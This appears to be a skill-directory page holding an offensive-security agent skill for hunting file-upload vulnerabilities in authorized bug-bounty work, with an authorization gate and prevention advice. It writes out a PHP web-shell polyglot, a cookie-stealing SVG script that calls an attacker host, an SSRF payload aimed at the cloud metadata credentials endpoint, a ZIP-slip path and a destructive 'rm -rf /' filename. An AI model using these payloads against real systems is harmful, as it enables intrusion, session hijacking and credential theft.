sickn33/agentic-awesome-skills/hunt-file-upload
Claude Code and agent skill by sickn33/agentic-awesome-skills
- community
Checking that the SKILL.md file is still in the repository.
Hunt file upload bugs
Install
npx vskill@latest install sickn33/agentic-awesome-skills/hunt-file-uploadSKILL.md
⚠️ AUTHORIZED USE ONLYThis skill is for educational purposes or authorized security assessments only.You must have explicit, written permission from the system owner before using this tool.Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gateBefore running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:1. Ask the user to state the exact target URL, IP, account, or resource.2. Ask the user to confirm written authorization and the permitted scope.3. Show the exact command(s) and explain their expected effect.4. Wait for explicit confirmation in the current conversation.Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
9. FILE UPLOAD
Use disposable test accounts and owner-controlled canaries only. Replace metadata/credential endpoints, sensitive local files, shell uploads and exfiltration callbacks below with harmless lab markers; do not retrieve real credentials or overwrite application/system files to prove impact. Successful network fetch, HTML script execution and upload acceptance are separate observations, not automatic RCE. Parser/version/security-policy behavior varies. Validate full decoded formats, generate storage names, reject traversal/symlinks and isolate uploaded content; extension or magic-byte checks alone are insufficient.
Content-Type Bypass
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention | |
|---|---|---|---|
| Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension | |
| Null byte | shell.php%00.jpg | Sanitize null bytes | |
| Double extension | shell.jpg.php | Allowlist the normalized final type; a single extension alone is not a security boundary | |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header | |
| Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header | |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid | |
| SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely | |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities | |
| ZIP slip | ../../../etc/passwd in archive | Validate extracted paths | |
| Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex | |
|---|---|---|
| JPEG | FF D8 FF | |
| PNG | 89 50 4E 47 0D 0A 1A 0A | |
| GIF | 47 49 46 38 | |
25 50 44 46 | ||
| ZIP/DOCX/XLSX | 50 4B 03 04 |
Stored XSS via SVG
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
FFmpeg SSRF via HLS Playlist
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
Archive Extraction Attacks (Zip Slip / Symlink)
Related Skills & Chains
- `hunt-rce` — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot
GIF89a;<?php system($_GET['c']);?>bypasses magic-byte check +.phtmlextension bypasses allowlist →GET /uploads/shell.phtml?c=id→ RCE; or PHPphar://upload to a sink callingfile_exists()on the attacker-controlled path → PHP object deserialization → RCE. - `hunt-xxe` — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose
[Content_Types].xmlorword/document.xmlincludes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil/etc/passwdorweb.configvia the document parser. - `hunt-xss` — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with
<script>fetch('//attacker/?'+document.cookie)</script>→ victim views attachment atapp.target.com/uploads/x.svg(same origin, not sandboxed) → cookie theft → ATO via session hijack. - `hunt-ssrf` — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with
<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">or ffmpegconcat:http://internal/...→ SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms. - `security-arsenal` — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants,
.phtml/.phar/.php5/.pht,.htaccessupload to re-enable handlers,web.configupload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators. - `triage-validation` — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual
whoamiround-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helpers are not bundled. Do not install a guessed package such as evilarc from a registry; review a fixed source, license and dependencies before any authorized lab setup.
- Validate every finding (see
triage-validation) before reporting; report viareport-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
Security
- Security scanPassed, 90 of 100Pattern checks on the skill's files.
- Model reviewPassed
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/hunt-file-upload/SKILL.md
Popularity
- Repository stars
- 47,054
- Repository forks
- 6,853
- 7-day trend score
- 54
Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/sickn33/agentic-awesome-skills/hunt-file-upload)